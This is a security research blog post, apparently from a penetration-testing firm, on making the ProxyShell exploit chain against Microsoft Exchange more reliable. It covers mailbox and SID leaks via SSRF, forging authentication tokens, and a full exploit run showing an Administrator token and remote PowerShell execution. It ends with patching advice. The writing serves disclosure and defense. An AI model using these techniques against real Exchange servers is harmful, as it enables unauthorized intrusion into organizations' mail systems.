In August, Orange Tsai released details and also spoke at BlackHat and DEFCON detailing his security research into Microsoft Exchange. His latest blog post details a series of vulnerabilities dubbed ProxyShell. ProxyShell is a chain of three vulnerabilities:

The research detailed a series of steps to achieve remote code execution which required knowing a valid email address to successfully exploit the Exchange server. However, working through the exploitation of several different real-world deployments in customer environments led to some additional research to improve the reliability of gaining remote code execution.

To summarize the steps to weaponize this series of vulnerabilities:

  1. With a known email address, send an autodiscover request to leak the user’s LegacyDN
  2. Using the LegacyDN, send a MAPI request to leak the user’s SID
  3. Using the SID and email address, construct a valid authentication token
  4. Using the authentication token, authenticate to the PowerShell endpoint and execute code

We found that across many different environments this was not always possible or straightforward to obtain. Below we detail several observations and alternative ways that we found we could leak the necessary information that was not detailed in other public research.

Barrier 1: On-Premise Hybrid Exchange

The first difficulty we overcame was with an environment that had on-premise Exchange servers but hosted all mailboxes in the cloud with Exchange Online in Office 365. All autodiscover requests with known emails results in a response like:

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
    <Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Account>
            <Action>redirectAddr</Action>
            <RedirectAddr>john.smith@constoso.onmicrosoft.com</RedirectAddr>
        </Account>
    </Response>
</Autodiscover>

The autodiscover request, if a user’s mailbox is hosted on-premise, should leak a LegacyDN that looks something like:

/o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=b7386-John Smith

Bypass 1: Using Builtin Mailboxes

While reading the writeup by PeterJson, he referenced the builtin SystemMailbox that is always there. This mailbox was still located there for most hybrid Exchange deployments.

proxy1.png

A list of other builtin mailboxes can be found here for Exchange 2013 and 2016/2019.

In some deployments we did not find any of these mailboxes present, but did find that the DiscoverySearchMailbox, DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}, was present and was the same UUID across all versions of Exchange. This mailbox was not listed in the above articles.

Bypass 2: Asking for LegacyDNs

The proof of concept released by dmaasland included a script that would utilize the SSRF to query Active Directory for email addresses which proved extremely useful in obtaining a valid user LegacyDN in non-hybrid cases. This script would return only the Mailbox->EmailAddress emails.

Looking at the entire response back for this request showed fields for some users that directly revealed their LegacyDN – even if that mailbox was now hosted in the cloud. By looking for any Contact->EmailAddresses->Entry that begins with “x500” you can identify the corresponding LegacyDN for that user.

proxy2.png

With this LegacyDN, you can skip the autodiscover request step and proceed directly to the SID request step.

Barrier 2: No emails, no builtins, no LegacyDNs – no problem!

In some cases, we were unable to leak any information required to obtain a SID. But while reproducing some of the research, it was noted that when checking the MAPI Connectivity Endpoint at /mapi/nspi that the request would sometimes be handled under different user contexts.

Exchange servers in standalone deployments will make requests to its own backend under the context of the NT/AUTHORITY SYSTEM user.

proxy3.png

In load-balanced deployments, when the system load balances the request to a backend system that is not the same system as the frontend, the request is made under the context of the frontend machine account. The response will also leak the SID of the machine account.

proxy4.png

With the machine account SID you can proceed directly to constructing a valid authentication token. It was also discovered at this point that when constructing the authentication token the only field that was validated was the SID. By supplying an arbitrary email address with a SID, the PowerShell endpoint would still authenticate and the execution context would be under the SID’s context.

Barrier 3: Load Balanced Environments

We found that approximately 1/3 of deployments were load-balanced. In a load-balanced Exchange deployment, the frontend Exchange will round-robin all requests to backend Exchange systems. This proved problematic when attempting to create a PowerShell session via SSRF because the session traffic would be randomly sent to a backend Exchange server who had no context about the session.

By tracking which backend Exchange server handled our initial PowerShell session creation message, and wrapping the SSRF requests in logic that would resend requests until the same backend was used, we could fixate our session with a particular backend server.

# python3 exchange_proxyshell.py -u https://<IP> -c 'Get-ManagementRoleAssignment -role "Mailbox Import Export" -GetEffectiveUsers'
[+] Determining number of Exchange backend servers...
[+] Exchange Backend Servers: ['mail.contoso.com', 'mail2.contoso.com']
[+]     mail.contoso.com - version: 15.2.659.12
[+]     mail.contoso.com - version_short: Exchange Server 2019 CU6 Mar21SU
[+]     mail.contoso.com - user: NT AUTHORITY\SYSTEM
[+]     mail.contoso.com - sid: S-1-5-18
[+]     mail2.contoso.com - version: 15.2.659.4
[+]     mail2.contoso.com - version_short: Exchange Server 2019 CU6
[+]     mail2.contoso.com - user: CONTOSO\MAIL$
[+]     mail2.contoso.com - sid: S-1-5-21-123456789-123456789-123456789-1001
[+] Successfully parsed SID via backend request: S-1-5-21-123456789-123456789-123456789-1001
[+] Attempting to retrieve Active Directory emails...
[+] Enumerated 0 possible UserMailbox LegacyDNs from Active Directory
[+] Enumerated 100 possible User LegacyDNs from Active Directory
[+] Enumerated SMTP domains: {'contoso.com'}
[+] Attempting to discover SID via 14 builtin email combinations
[+]     Retrieved LegacyDN: /o=Contoso/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=a1dc52c82b5a4259b6f12346c747f41-Administrator
[+]     Identified backend SMTP domain: contoso.com
[+]     Attempting to retrieve SID for /o=Contoso/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=a1dc52c82b5a4259b6f12346c747f41-Administrator
[+]     Successfully parsed SID via UserMailbox object: S-1-5-21-123456789-123456789-123456789-500
[+]     Successfully parsed SID via MailContact: S-1-5-21-123456789-123456789-123456789-500
[+] Attempting to discover SID via 100 enumerated emails
[+]     Retrieved LegacyDN: /o=Contoso/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=john.smith
[+]     Attempting to retrieve SID for /o=Contoso/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=john.smith
[+]     Successfully parsed SID via UserMailbox object: S-1-5-21-123456789-123456789-123456789-2001
[+] RID Cycled: S-1-5-21-123456789-123456789-123456789-500
[+] Generated token for Administrator@contoso.com - S-1-5-21-123456789-123456789-123456789-500
[+] Token: VgEAAAAAm9zTBtBZG1pbmlzdHJhdGAAAAAAvbXkuYW1VLFMtMS01AAAAANDc1NDUzNAAAA0NjAyN
[+] Created powershell session on mail2.contoso.com
127.0.0.1 - - [03/Sep/2021 00:19:15] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [03/Sep/2021 00:19:15] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [03/Sep/2021 00:19:17] "POST /wsman HTTP/1.1" 200 -
[-] Load balanced to wrong server: mail.contoso.com
127.0.0.1 - - [03/Sep/2021 00:19:18] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [03/Sep/2021 00:19:18] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [03/Sep/2021 00:19:18] "POST /wsman HTTP/1.1" 200 -
[+] PS> Get-ManagementRoleAssignment -role "Mailbox Import Export" -GetEffectiveUsers

OUTPUT:

Mailbox Import Export-Organization Management-Delegating
Mailbox Import Export-Administrator

Putting It All Together:

We’ve combined all of these techniques by heavily modifying dmaasland’s proof of concept. Our proof of concept can be found on Horizon3’s github.

Mitigations

This series of vulnerabilities are currently being widely exploited in the wild according to CISA. If your organization has any Exchange servers, ensure they are patched as soon as possible by installing the security updates referenced by Microsoft’s Security Update Guide.

References: